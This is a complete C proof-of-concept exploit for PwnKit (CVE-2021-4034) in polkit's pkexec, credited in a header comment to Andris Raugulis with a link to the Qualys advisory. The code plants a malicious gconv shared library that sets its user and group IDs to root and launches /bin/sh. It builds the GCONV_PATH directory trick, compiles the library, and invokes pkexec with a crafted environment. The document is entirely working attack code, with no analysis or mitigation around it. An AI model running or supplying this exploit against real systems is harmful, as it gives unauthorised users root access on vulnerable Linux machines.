Polkit pkexec Local Privilege Escalation Exploit

/*
 * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <[email protected]>
 * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
  "#include <stdio.h>\n"
  "#include <stdlib.h>\n"
  "#include <unistd.h>\n\n"
  "void gconv() {}\n"
  "void gconv_init() {\n"
  "  setuid(0); setgid(0);\n"
  "  seteuid(0); setegid(0);\n"
  "  system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
  "  exit(0);\n"
  "}";

int main(int argc, char *argv[]) {
  FILE *fp;
  system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
  system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
  fp = fopen("pwnkit/pwnkit.c", "w");
  fprintf(fp, "%s", shell);
  fclose(fp);
  system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
  char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
  execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}